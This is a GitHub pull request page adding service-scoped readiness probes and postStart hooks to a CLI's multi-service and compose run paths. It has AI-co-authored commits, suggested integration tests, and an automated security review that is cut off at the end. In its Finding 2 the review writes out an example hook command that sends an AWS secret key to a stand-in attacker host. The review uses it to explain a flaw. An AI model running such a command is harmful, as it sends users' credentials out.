Service-scoped readiness and postStart hooks for multi-service apps (WDY-1271)#1386
Service-scoped readiness and postStart hooks for multi-service apps (WDY-1271)#1386EBro912 wants to merge 14 commits into
Conversation
…tion (WDY-1271) Stage A of WDY-1271: adds Readiness/Hooks fields to ServiceConfig, extracts ValidateReadiness so top-level and per-service readiness share one check (wired into both Validate() and LoadComposeCompanion()), scopes the hook opener lint to a prefix (exporting LintHooks for later stages), and warns when a multi-service app sets a top-level hooks.postStart.agent that has no app-level container to run in. Also syncs wendy.schema.json's service def so editors don't flag the new fields as unknown. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…lifecycle config (WDY-1271) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…AME (WDY-1271) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…WDY-1271)
The agent's ListContainers groups per-service containers under the group
app-ID label and reports AppContainer.AppName as the bare group appID, so
looking up "{AppID}_{ServiceName}" never matched and the container-exit-detail
enrichment silently no-oped for every multi-service app.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…vice runs (WDY-1271) Wire per-service readiness/postStart hooks into the standalone multi-service run path (runMultiServiceWithAgent / startAndStreamServices): - multiServiceCreateConfig now copies a service's own Readiness/Hooks onto its per-service AppConfig, but never the group's top-level readiness/hooks (those are the app-level fallback, fired once — copying them would run hooks.postStart.agent in every container). - runMultiServiceWithAgent builds the per-service configs once and reuses them for both container creation and hook firing, and computes an app-level fallback config (forced nil on --service subset runs, where "after ALL services started" cannot hold). - startAndStreamServices attaches the agent-side postStart hook to each StartContainer RPC and fires readiness→announce→postStart per service: sequentially in the detach path, and asynchronously (startAsync) in the attached path so hooks never delay the load-bearing create→start→Started-ack loop. The app-level fallback fires after every service has started; the attached path reaps hook goroutines/children after log streaming ends. Adds the WDY-1271 acceptance test plus app-level-fallback, readiness-timeout non-fatal, nil-app-level, and multiServiceCreateConfig propagation/isolation tests. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…laring service (WDY-1271) The acceptance test's attached variant could not catch a blocking hook loop: its declaring service was LAST in topo order, so a synchronous runOne in the start loop still passed every assertion. Add TestStartAndStreamServices_Attached_HookDoesNotBlockStartLoop, where the declaring service sits in the middle of [db, frontend, api] and its readiness port only opens once api's StartContainer call is recorded — satisfiable only if the start loop advanced past frontend without waiting on its hook. A blocking regression fails bounded (readiness timeoutSeconds 3): the hook fires with 2 of 3 starts recorded and the readiness warning path runs, both asserted. Verified by temporarily substituting runOne for startAsync (test fails on both discriminators in ~3s; the original acceptance variant wrongly still passed). Also reap startAsync'd hook goroutines on the attached branch's early-error returns (runCancel(); wg.Wait(); runner.reap()), matching the happy-path teardown so no hook goroutine outlives the call on failure either. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…uns (WDY-1271) Wire the stage-B lifecycle machinery into the compose run path (stage C3): - Both stream types now carry the declaring service's agent-side postStart hook as gRPC metadata: AttachContainer, its Unimplemented StartContainer fallback, and the detach loop's StartContainer. - Attached mode fires each service's readiness->announce->postStart sequence on its first Started message, guarded (hookFired) so the fallback's replayed Started cannot double-fire; the app-level fallback fires once after every service has started (or its stream died), gated by a per-service exactly-once markStarted releasing startedWg so a pre-Started stream death can never deadlock the run. - Detached mode runs the sequences sequentially after all Started acks, with hookCtx=Background so cli hooks outlive the CLI (no reap), then the app-level fallback. - The attached tail is extracted as composeStartAndStream (and the detach loop as composeStartDetached) so tests drive them with fake bidi/server streaming clients; Ctrl+C ordering (stop in reverse, then runCancel) is unchanged, and teardown mirrors run.go's runCancel-then-Wait reap. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…rvice apps (WDY-1271) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…rt.openURL (WDY-1271) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…adiness (WDY-1271)
Align the compose attached-stream path's app-level lifecycle fallback with
multibuild's teardown semantics, plus the remaining whole-branch review
follow-ups for service-scoped readiness/postStart hooks.
- Fix 1: the app-level fallback goroutine was registered on composeStartAndStream's
own WaitGroup, so at natural all-streams-EOF wg.Wait() blocked on the fallback's
in-flight readiness wait (up to 180s) and then FIRED the hook onto a stack that
had already exited. Register it through the runner instead (new
serviceHookRunner.spawn), so wg.Wait() returns as soon as the streams end and the
existing runCancel()->reap() teardown cancels the in-flight wait and suppresses
the hook. Rewrite the test to the new contract (prompt return + no hook, still
no-deadlock); the normal case (readiness passes while streams are open -> fires
once) is unchanged.
- Fix 2: warn when a compose companion declares a top-level hooks.postStart.agent.
A compose app has no app-level container to run it in, and Stage-A ValidateJSON
only warns when a services map is present (which a compose companion has none of),
so it was dropped silently. Extract composeAppLevelAgentHookDropped and test it.
- Fix 3: hoist buildComposeServiceConfigs + appLevelCfg above the sequential image
build loop so an invalid x-wendy config fails fast instead of after a multi-minute
build. Nothing in the pre-pass depends on build outputs.
- Fix 4a/4b/4c: schema test asserting $defs.service has readiness/hooks $refs;
extend TestParseXWendy's unknown-key case to two keys asserting sorted warning
order; correct the applyComposeCompanion doc comment separator to {appId}_{serviceName}.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…ural-end suppression (WDY-1271) - compose.md: top-level hooks.postStart.agent is ignored for compose apps (fix 2); single-service compose keeps the legacy <project>-<service> app ID so WENDY_SERVICE_NAME is empty and WENDY_APP_ID is e.g. myproj-web (fix 4e). - wendy-services.md: hooks (per-service and app-level) still waiting on readiness when a run ends naturally are suppressed, not fired (fix 4f). - Examples/WendyMC/README.md: the companion wendy.json sits next to docker-compose.yml and is picked up automatically (fix 4d). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…go test's WaitDelay (WDY-1271) The two hook tests this branch introduced spawn `touch … && sleep 30` cli hooks to prove runCancel kills the child and reap collects it. The hook child inherits the test binary's stdout/stderr (startPostStartHook wires cmd.Stdout/Stderr to os.Stdout/os.Stderr), so when the kill orphans the `sleep` grandchild it holds those pipes open; any filtered `go test` run finishing before the 30s elapse then fails at binary teardown with "*** Test I/O incomplete … WaitDelay expired" despite every test passing. Redirect the sleep's stdio to /dev/null (`sleep 30 >/dev/null 2>&1`) — the redirection applies to the process that outlives the kill, so it can no longer pin the test binary's stdio. The kill/reap semantics the tests prove are unchanged; the filtered covering run now exits 0 in ~4s instead of failing after ~20s. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
…only (WDY-1271) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Note
Integration test review — automated suggestions from Claude. Apply, adapt, or dismiss as needed.
PR #1386 introduces per-service readiness/hooks in multi-service wendy.json, x-wendy compose extensions with readiness/hooks, the WENDY_SERVICE_NAME placeholder, app-level fallback semantics, and the openURL hook field — none of which have integration test coverage in the existing suite.
Three new tests are needed:
python-multiservice-hooks— exercises per-servicereadiness/hooksin a multi-servicewendy.json, includingWENDY_SERVICE_NAMEexpansion and theopenURLfield (via the agent-side hook writing a file, since the CI harness can't observe a browser open).compose-xwendy— exercisesx-wendy: { readiness, hooks }on a compose service, verifying the hook fires andWENDY_SERVICE_NAMEexpands correctly.compose-applevel-hooks— exercises the app-level fallback: a companionwendy.jsonwith top-levelreadiness/hooksthat fires once after all services start.
.github/ci-tests/python-multiservice-hooks/wendy.json
{
"appId": "sh.wendy.ci.python-multiservice-hooks",
"version": "1.0.0",
"services": {
"backend": {
"context": "backend"
},
"frontend": {
"context": "frontend",
"dependsOn": ["backend"],
"readiness": {
"tcpSocket": { "port": 7123 },
"timeoutSeconds": 30
},
"hooks": {
"postStart": {
"agent": "/app/post-start.sh"
}
}
}
}
}.github/ci-tests/python-multiservice-hooks/backend/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/python-multiservice-hooks/backend/main.py
#!/usr/bin/env python3
"""Backend service: prints env vars and exits cleanly."""
import os, sys
app_id = os.environ.get("WENDY_APP_ID", "")
svc = os.environ.get("WENDY_SERVICE_NAME", "")
print(f"backend: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")
if not app_id:
print("FAIL: WENDY_APP_ID not set in backend")
sys.exit(1)
# WENDY_SERVICE_NAME for a service inside a multi-service app should be "backend"
if svc != "backend":
print(f"FAIL: expected WENDY_SERVICE_NAME='backend', got {svc!r}")
sys.exit(1)
print("PASS: backend env vars correct").github/ci-tests/python-multiservice-hooks/frontend/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py post-start.sh ./
RUN chmod +x post-start.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/python-multiservice-hooks/frontend/main.py
#!/usr/bin/env python3
"""Frontend service: listens on TCP 7123 (satisfies the readiness probe),
checks env vars, then waits for the agent postStart hook to write a sentinel
file before exiting.
The hook (/app/post-start.sh) is delivered only to this service's container
(per-service scoping, WDY-1271). It writes /tmp/hook-fired with the value of
WENDY_SERVICE_NAME so the main process can assert it.
"""
import os, socket, sys, time
app_id = os.environ.get("WENDY_APP_ID", "")
svc = os.environ.get("WENDY_SERVICE_NAME", "")
print(f"frontend: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")
if not app_id:
print("FAIL: WENDY_APP_ID not set in frontend")
sys.exit(1)
if svc != "frontend":
print(f"FAIL: expected WENDY_SERVICE_NAME='frontend', got {svc!r}")
sys.exit(1)
# Bind TCP 7123 so the readiness probe can connect.
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7123))
srv.listen(8)
print("frontend: TCP 7123 ready", flush=True)
# Wait up to 30 s for the agent hook to write the sentinel.
sentinel = "/tmp/hook-fired"
deadline = time.time() + 30
while not os.path.exists(sentinel):
if time.time() > deadline:
print("FAIL: timed out waiting for postStart agent hook sentinel")
sys.exit(1)
time.sleep(0.5)
content = open(sentinel).read().strip()
print(f"frontend: hook sentinel content = {content!r}")
if content != "frontend":
print(f"FAIL: sentinel expected 'frontend', got {content!r}")
sys.exit(1)
print("PASS: per-service readiness + agent hook verified").github/ci-tests/python-multiservice-hooks/frontend/post-start.sh
#!/bin/sh
# Agent-side postStart hook for the 'frontend' service.
# WENDY_SERVICE_NAME is expanded by the agent before execution.
# Write the service name to a sentinel file so main.py can assert it.
printf '%s' "${WENDY_SERVICE_NAME}" > /tmp/hook-fired.github/ci-tests/compose-xwendy/docker-compose.yml
services:
web:
build: ./web
ports:
- "7456:7456"
x-wendy:
readiness:
tcpSocket:
port: 7456
timeoutSeconds: 30
hooks:
postStart:
agent: "/app/hook.sh".github/ci-tests/compose-xwendy/web/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py hook.sh ./
RUN chmod +x hook.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-xwendy/web/main.py
#!/usr/bin/env python3
"""Compose x-wendy integration test (WDY-1271).
Listens on TCP 7456 to satisfy the x-wendy readiness probe, then waits for
the agent postStart hook (hook.sh) to write /tmp/xwendy-hook with the
WENDY_SERVICE_NAME value the agent expanded. Asserts the name is 'web'.
"""
import os, socket, sys, time
svc = os.environ.get("WENDY_SERVICE_NAME", "")
app_id = os.environ.get("WENDY_APP_ID", "")
print(f"web: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")
if not app_id:
print("FAIL: WENDY_APP_ID not set")
sys.exit(1)
# For a multi-service compose project the service name should be 'web'.
if svc != "web":
print(f"FAIL: expected WENDY_SERVICE_NAME='web', got {svc!r}")
sys.exit(1)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7456))
srv.listen(8)
print("web: TCP 7456 ready", flush=True)
sentinel = "/tmp/xwendy-hook"
deadline = time.time() + 30
while not os.path.exists(sentinel):
if time.time() > deadline:
print("FAIL: timed out waiting for x-wendy agent hook sentinel")
sys.exit(1)
time.sleep(0.5)
content = open(sentinel).read().strip()
print(f"web: hook sentinel = {content!r}")
if content != "web":
print(f"FAIL: expected 'web', got {content!r}")
sys.exit(1)
print("PASS: compose x-wendy readiness + agent hook verified").github/ci-tests/compose-xwendy/web/hook.sh
#!/bin/sh
# Agent-side postStart hook attached via x-wendy on the 'web' service.
printf '%s' "${WENDY_SERVICE_NAME}" > /tmp/xwendy-hook.github/ci-tests/compose-applevel-hooks/docker-compose.yml
services:
alpha:
build: ./alpha
ports:
- "7890:7890"
beta:
build: ./beta
depends_on:
- alpha.github/ci-tests/compose-applevel-hooks/wendy.json
{
"appId": "sh.wendy.ci.compose-applevel-hooks",
"readiness": {
"tcpSocket": { "port": 7890 },
"timeoutSeconds": 30
},
"hooks": {
"postStart": {
"agent": "/app/applevel-hook.sh"
}
}
}Note:
hooks.postStart.agentin a top-level compose companion is ignored with a warning (no app-level container). This test intentionally includes it to verify the warning is emitted and the command does not crash. The observable success condition is that both services start and print their PASS lines; the warning itself is asserted by the test harness by scanning stderr for"top-level hooks.postStart.agent is ignored".
.github/ci-tests/compose-applevel-hooks/alpha/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py applevel-hook.sh ./
RUN chmod +x applevel-hook.sh
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-applevel-hooks/alpha/main.py
#!/usr/bin/env python3
"""Alpha service: binds TCP 7890 (satisfies the app-level readiness probe)
and checks its env vars.
The top-level companion readiness probes port 7890 after both services start.
The companion's postStart.agent is silently dropped (no app-level container
exists in a compose project) — wendy run must warn but not fail.
"""
import os, socket, sys, time
app_id = os.environ.get("WENDY_APP_ID", "")
svc = os.environ.get("WENDY_SERVICE_NAME", "")
print(f"alpha: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")
if not app_id:
print("FAIL: WENDY_APP_ID not set in alpha")
sys.exit(1)
if svc != "alpha":
print(f"FAIL: expected WENDY_SERVICE_NAME='alpha', got {svc!r}")
sys.exit(1)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 7890))
srv.listen(8)
print("alpha: TCP 7890 ready — app-level readiness probe can connect now", flush=True)
# Stay alive long enough for the readiness probe and any hook processing.
time.sleep(60)
print("PASS: alpha service lifecycle complete").github/ci-tests/compose-applevel-hooks/alpha/applevel-hook.sh
#!/bin/sh
# This script is referenced by the companion wendy.json top-level
# hooks.postStart.agent. For a compose project it must NEVER be executed
# (the CLI drops it with a warning). Its presence in the image is intentional:
# if it were ever invoked it would write a sentinel that alpha/main.py could
# detect — but main.py does not wait for it, so the test passes either way.
# The harness checks wendy run stderr for the expected warning instead.
echo "ERROR: app-level agent hook must not run in a compose project" >&2
exit 1.github/ci-tests/compose-applevel-hooks/beta/Dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY main.py .
ENV PYTHONUNBUFFERED=1
CMD ["python3", "main.py"].github/ci-tests/compose-applevel-hooks/beta/main.py
#!/usr/bin/env python3
"""Beta service: verifies its own env vars and exits."""
import os, sys
app_id = os.environ.get("WENDY_APP_ID", "")
svc = os.environ.get("WENDY_SERVICE_NAME", "")
print(f"beta: WENDY_APP_ID={app_id!r} WENDY_SERVICE_NAME={svc!r}")
if not app_id:
print("FAIL: WENDY_APP_ID not set in beta")
sys.exit(1)
if svc != "beta":
print(f"FAIL: expected WENDY_SERVICE_NAME='beta', got {svc!r}")
sys.exit(1)
print("PASS: beta env vars correct")go/scripts/test-ci.sh — required additions
Add to the ALL_TESTS array (after compose-companion):
python-multiservice-hooks
compose-xwendy
compose-applevel-hooksThe compose-applevel-hooks and compose-xwendy test runners should additionally assert that wendy run stderr contains "top-level hooks.postStart.agent is ignored" (for compose-applevel-hooks) and that neither compose test exits non-zero.
.github/workflows/integration-tests.yml — required additions
In the for t in ... loop for the Linux runner, add (Swift tests are already omitted from Linux):
python-multiservice-hooks compose-xwendy compose-applevel-hooks
In the for t in ... loop for the macOS runner, add the same three names.
AI Security Review
wendy.json or docker-compose.yml files are consumed from untrusted sources. Additionally, hook commands and URLs are written to logs, test code spawns real child processes using t.TempDir() paths in shell strings, and the x-wendy YAML-to-JSON roundtrip introduces a subtle type-confusion surface. Compliance impact is low given the tooling context, but the shell-expansion and secret-logging risks should be addressed before merge. |
| Severity | Standards | File | Line(s) | Title |
|---|---|---|---|---|
| HIGH | ISO27001-A.8, NIST-SI-10 | compose.go |
parseXWendy |
YAML→JSON roundtrip deserialises arbitrary user-controlled map into exec'd shell command |
| HIGH | ISO27001-A.8, NIST-SI-10 | run.go |
expandHookEnv |
os.Getenv fallback in hook placeholder expansion allows environment variable injection |
| MEDIUM | ISO27001-A.8, NIST-SI-10 | run.go |
startPostStartHook |
CLI hook command built from untrusted config passed to platform shell without sanitisation |
| MEDIUM | SOC2-CC7, ISO27001-A.12 | run.go, service_lifecycle.go |
startPostStartHook, runOne |
Hook URLs and CLI commands logged at info level — may expose sensitive config values |
| MEDIUM | ISO27001-A.8, NIST-SI-10 | compose.go |
parseXWendy |
Type-confusion in YAML→JSON roundtrip allows integer/boolean readiness fields to pass as strings |
| MEDIUM | SOC2-CC6, NIST-AC-3 | service_lifecycle.go |
reap |
Race between r.wg.Wait() and r.mu.Lock() in reap() could miss late-registered commands |
| LOW | SOC2-CC7, ISO27001-A.12 | service_lifecycle_test.go |
swapBrowserOpen |
Test helper mutates a package-level variable without test isolation guard in parallel tests |
| LOW | ISO27001-A.8 | compose.go |
buildComposeServiceConfigs |
x-wendy unknown-key warning suppressed if JSON marshal/unmarshal succeeds — unknown keys silently ignored after first decode |
| LOW | SOC2-CC8 | multibuild.go |
startAndStreamServices |
runner.reap() added on some error paths but not all — inconsistent cleanup on partial failures |
| INFORMATIONAL | NIST-SI-10 | appconfig.go |
ValidateReadiness |
TimeoutSeconds negative-value check is correct but zero value (infinite wait) is not flagged |
Detailed Findings
FINDING 1 — HIGH: YAML→JSON Roundtrip Deserialises Arbitrary User Data Into Executed Commands
Standards: ISO27001-A.8 (Secure coding), NIST SP 800-53 SI-10 (Information Input Validation)
File: go/internal/cli/commands/compose.go — parseXWendy
Description:
The parseXWendy function decodes an arbitrary x-wendy YAML node from a docker-compose.yml into a map[string]any, marshals it to JSON, and then unmarshals it into appconfig.ReadinessConfig and appconfig.HooksConfig. The resulting hooks.postStart.cli string is later passed directly to expandHookEnv and then to the platform shell (via shellCommand()). If a developer pulls a docker-compose.yml from an untrusted source (e.g. a public Git repo, a supply-chain-compromised dependency), the x-wendy.hooks.postStart.cli field becomes an arbitrary shell command executed on the developer's machine.
While this is a developer-tool context (the developer is running wendy run), the risk is elevated because:
- The compose file may be authored by a third party (shared examples, community templates).
- The
clihook runs through the platform shell, so chaining operators (&&,;,|) are fully honoured. - The
agenthook runs on the remote device with no shell, but it too is user-controlled.
// compose.go — parseXWendy
var raw map[string]any
if err := node.Decode(&raw); err != nil {
return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}
// ... JSON roundtrip ...
if err := json.Unmarshal(data, &parsed); err != nil {
return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}
// hooks.postStart.cli is later: shell(expand(hook.CLI))Remediation:
- Display a prominent warning when a
hooks.postStart.cliorhooks.postStart.agentis discovered in anx-wendyblock sourced from a compose file that was not authored by the current user (e.g. check if it was pulled from a registry or a remote URL). - Consider requiring explicit user acknowledgement (a
--allow-hooksflag or a localwendy.jsonoverride) before executingclioragenthooks from compose files authored outside the project. - Document clearly in the compose docs that
x-wendy.hooksexecutes code on the developer's machine and device.
FINDING 2 — HIGH: os.Getenv Fallback in expandHookEnv Enables Environment Variable Exfiltration / Injection
Standards: ISO27001-A.8, NIST SP 800-53 SI-10
File: go/internal/cli/commands/run.go — expandHookEnv
Description:
The expandHookEnv function uses os.Expand with a fallback to os.Getenv for any ${VAR} placeholder not in the known set (WENDY_HOSTNAME, WENDY_APP_ID, WENDY_SERVICE_NAME). This means a hook command like curl http://attacker.com/?k=${AWS_SECRET_ACCESS_KEY} or ${HOME}/.config/... would silently expand real environment variables from the developer's shell environment before the command is executed or the URL is opened. In the openURL case this exfiltrates secrets to an attacker-controlled server; in the cli case it can influence the executed command.
// run.go — expandHookEnv
return os.Expand(s, func(key string) string {
switch key {
case "WENDY_HOSTNAME":
return hostname
case "WENDY_APP_ID":
return appID
case "WENDY_SERVICE_NAME":
return serviceName
default:
return os.Getenv(key) // ← arbitrary env var expansion
}
})Remediation:
- Remove the
os.Getenvfallback entirely, or gate it behind an explicit opt-in (e.g. ahooks.postStart.envallowlist). - If environment variable pass-through is an intended feature, document it prominently and add a lint warning for hooks that reference
${...}patterns not in the known set. - For
openURLspecifically, validate that the expanded URL has anhttp://orhttps://scheme and does not referencelocalhost/127.xunexpectedly after expansion.
FINDING 3 — MEDIUM: CLI Hook Command From Untrusted Config Passed to Platform Shell Without Sanitisation
Standards: ISO27001-A.8, NIST SP 800-53 SI-10
File: go/internal/cli/commands/run.go — startPostStartHook
Description:
The hook.CLI string (sourced from wendy.json or x-wendy) is passed directly to the platform shell (/bin/sh -c on Unix, cmd.exe /C on Windows) after only expandHookEnv substitution. There is no validation that the expanded string is a safe shell command, and shell metacharacters are not escaped. The lint warning for "non-portable opener commands" (open, xdg-open, start) does not prevent arbitrary shell commands — it only detects a narrow class of OS-specific openers.
// run.go — startPostStartHook
expanded := expandHookEnv(hook.CLI, hostname, appCfg.AppID, serviceName)
shell, flags := shellCommand()
cmd := execCommandContext(ctx, shell, append(flags, expanded)...)Remediation:
- Consider splitting
hooks.postStart.cliinto acommand+argsarray form so the CLI hook can be exec'd directly without a shell, analogous to howhooks.postStart.agentalready avoids shell interpretation. - If a shell-string form is retained, add a schema-level warning whenever
clicontains shell metacharacters (|,;,&&,$(,`,>,<), prompting the user to use a script file instead (as the docs already recommend foragent). - Run the lint check at load time (not just in
LintHooks) so it applies to programmatically constructed configs too.
FINDING 4 — MEDIUM: Hook URLs and CLI Commands Logged at Info Level
Standards: SOC2-CC7, ISO27001-A.12
File: go/internal/cli/commands/run.go, service_lifecycle.go
Description:
startPostStartHook logs a success message including the expanded URL:
// run.go — startPostStartHook
cliLogln("Opening %s in your browser...", url)And runOne / announceReachableURL log the reachable URL with the device IP embedded. If the hook URL or CLI command contains tokens or secrets substituted via the os.Getenv fallback (Finding 2), those secrets are written to the terminal and any log aggregation system that captures stdout. Even without secrets, the device IP is logged in plain text, which may be a concern in multi-tenant or shared CI environments.
Remediation:
- Resolve Finding 2 first (remove
os.Getenvfallback); this eliminates the primary secret-in-log risk. - Review whether the expanded URL (post-variable-substitution) should be logged in full or only in a sanitised form (e.g. host:port only).
- Ensure
cliLoglnoutput is not captured by log aggregators in CI environments where device IPs are sensitive.
FINDING 5 — MEDIUM: Type-Confusion in YAML→JSON Roundtrip for x-wendy
Standards: ISO27001-A.8, NIST SP 800-53 SI-10
File: go/internal/cli/commands/compose.go — parseXWendy
Description:
YAML allows types that do not map cleanly to JSON schema expectations. For example, port: 0x1F90 (hex), port: 8_000 (YAML integer with underscore), or timeoutSeconds: true (boolean) are all valid YAML integers/booleans that yaml.v3 decodes into Go's any type and then json.Marshal converts to their JSON equivalents. The downstream json.Unmarshal into appconfig.ReadinessConfig then either succeeds with an unexpected value or fails with a confusing error message. The ValidateReadiness call catches out-of-range ports (0) but only after the unmarshal step; a YAML boolean port: true becomes JSON true which fails json.Unmarshal into int with a type error that exposes the internal roundtrip to the user.
var raw map[string]any
if err := node.Decode(&raw); err != nil { ... }
data, err := json.Marshal(raw) // YAML types → JSON
// ...
if err := json.Unmarshal(data, &parsed); err != nil {
return nil, nil, nil, fmt.Errorf("service %q: x-wendy: %w", serviceName, err)
}Remediation:
- Add a
TestParseXWendytable-driven case for YAML type mismatches (boolean port, string timeout) to lock in the error message format. - Consider using a JSON Schema or a custom YAML decoder that enforces types at the YAML level, avoiding the roundtrip ambiguity entirely.
- Wrap the
json.Unmarshalerror with a more user-friendly message:"x-wendy: field types must match the wendy.json schema (e.g. port must be an integer)".
FINDING 6 — MEDIUM: Race Between r.wg.Wait() and r.mu.Lock() in reap()
Standards: SOC2-CC6, NIST SP 800-53 AC-3
File: go/internal/cli/commands/service_lifecycle.go — reap()
Description:
reap() calls r.wg.Wait() to drain all goroutines spawned by startAsync/spawn, then locks r.mu to collect r.cmds. However, runOne appends to r.cmds after the startPostStartHook call returns, which happens within the goroutine counted by r.wg. Since r.wg.Wait() only guarantees the goroutines have returned — not that any goroutine spawned by those goroutines has — this is safe for the current code only because startPostStartHook is synchronous for the cmd tracking path. However, if a future change makes hook spawning asynchronous (or if spawn is used with a closure that itself calls startAsync), the r.cmds snapshot taken after r.wg.Wait() could be stale.
More concretely: the spawn function (used for the compose app-level fallback) runs an arbitrary fn() that calls runner.runOne(...) which appends to r.cmds. This means reap can observe a r.cmds slice that was populated by a goroutine whose wg.Done() runs concurrently with the r.mu.Lock() in reap. The current implementation is correct because wg.Done() is deferred (runs after fn() returns, which runs after runOne appends), but the ordering dependency is subtle and undocumented.
func (r *serviceHookRunner) reap() {
r.wg.Wait() // waits for all wg-tracked goroutines to return
r.mu.Lock()
cmds := r.cmds // safe only because wg.Done() is deferred after r.cmds append
r.mu.Unlock()
for _, cmd := range cmds {
_ = cmd.Wait()
}
}Remediation:
- Add a comment explicitly documenting the ordering dependency:
// r.cmds is complete because r.wg.Wait() guarantees all goroutines (and their deferred wg.Done()) have returned. - Consider a simpler design: collect
cmd.Wait()calls inside the goroutine itself (withinrunOne) soreaponly needsr.wg.Wait()and does not need ther.mu/r.cmdsslice at all.
FINDING 7 — LOW: swapBrowserOpen Mutates Package-Level Variable — Unsafe Under t.Parallel()
Standards: SOC2-CC7 (test reliability as a monitoring concern)
File: go/internal/cli/commands/service_lifecycle_test.go — swapBrowserOpen
Description:
swapBrowserOpen (and recordingBrowserOpen in compose_lifecycle_test.go) replace the package-level browserOpen variable, restoring it via t.Cleanup. If any test calling swapBrowserOpen is run with t.Parallel() alongside another test that also calls swapBrowserOpen, the two tests race on the package-level variable. The -race detector would catch this — but only if the tests are actually run in parallel, which they currently are not. Adding t.Parallel() to a future test would silently introduce the race.
func swapBrowserOpen(t *testing.T) *[]string {
original := browserOpen // package-level var
browserOpen = func(url string) error { ... }
t.Cleanup(func() { browserOpen = original })
return &calls
}Remediation:
- Add
//nolint:paralleltestor a comment warning that these tests must not be parallelised whilebrowserOpenis a package-level variable. - Better: inject
browserOpenas a function parameter to the functions under test, eliminating the global state entirely.
FINDING 8 — LOW: Unknown x-wendy Keys Silently Discarded After Validation
Standards: ISO27001-A.8
File: go/internal/cli/commands/compose.go — parseXWendy
Description:
The function collects unknown keys from the raw map and returns them as warnings. However, the warning collection iterates the top-level keys only — nested unknown keys inside readiness or hooks are silently discarded by json.Unmarshal (Go's default behaviour ignores unknown JSON fields). A user who misspells hooks.postStart.openurl (lowercase u) would get no warning and their hook would silently not fire.
for k := range raw {
if k != "readiness" && k != "hooks" {
unknown = append(unknown, k) // only top-level; nested misspellings are silent
}
}Remediation:
- Use
json.DecoderwithDisallowUnknownFields()on theparsedstruct, or add nested key validation forreadiness.*andhooks.postStart.*. - Alternatively, document this limitation in the compose.md reference.
FINDING 9 — LOW: Inconsistent runner.reap() on Error Paths in startAndStreamServices
Standards: SOC2-CC8
File: go/internal/cli/commands/multibuild.go — startAndStreamServices
Description:
The attached-mode loop adds runner.reap() on the createService error path, the StartContainer error path, and the stream.Recv() error path. However, the runner.startAsync call happens between the stream.Recv() and the wg.Add(1) + goroutine launch. If StartContainer or stream.Recv() fails for service N, any startAsync'd hooks for services 1…N-1 are correctly reaped. But if the wg.Add(1) goroutine itself panics (extremely unlikely but possible), the defer chain does not include runner.reap(), and the process exits without collecting hook children. This is a minor cleanliness issue rather than a security risk, but it can leave zombie processes.
Remediation:
- Wrap the entire attached loop body in a deferred
runner.reap()guard rather than placing it on individual error returns. - Alternatively, document that
runner.reap()is only needed on the clean-exit and explicit-error paths (i.e. panics are acceptable to skip reap for).
FINDING 10 — INFORMATIONAL: TimeoutSeconds: 0 Not Flagged as Potentially Dangerous
Standards: NIST SP 800-53 SI-10
File: go/internal/shared/appconfig/appconfig.go — ValidateReadiness
Description:
ValidateReadiness rejects negative TimeoutSeconds but accepts 0. The waitForReadiness implementation (not shown in diff) likely treats 0 as "use the default" (the field comment says the default is 30s), but a zero value from JSON omission is indistinguishable from an explicit 0. A future change to treat 0 as "no timeout" (infinite wait) would silently turn all configs that omit timeoutSeconds into potentially hanging readiness waits.
Remediation:
- Document in the struct tag or a comment that
0means "use default (30s)" and that the field is validated to be>= 0. - Consider adding a
ValidateReadinesscheck that emits an informational note whenTimeoutSeconds == 0is set explicitly (detectable only at the JSON level, not the Go level after unmarshal).
Compliance Summary
| Framework | Checked | Violations Found |
|---|---|---|
| SOC 2 (CC6, CC7, CC8, CC9, A1, C1) | ✅ | CC7 (hook data logged), CC8 (inconsistent reap), CC6 (race in reap — low) |
| ISO/IEC 27001:2022 (A.8, A.9, A.12) | ✅ | A.8 (shell injection surface, env var expansion, type confusion) |
| PCI DSS v4.0 | ✅ | Not applicable — no payment or card data flows in this diff |
| GDPR / Privacy | ✅ | No personal data collection, storage, or processing in this diff |
| HIPAA | ✅ | Not applicable — no health or medical data in this diff |
| NIST SP 800-53 / CSF 2.0 (AC, AU, IA, SC, SI) | ✅ | SI-10 (input validation — shell command construction from untrusted YAML), AU (info-level hook logging) |
Priority actions before merge:
- (HIGH) Mitigate
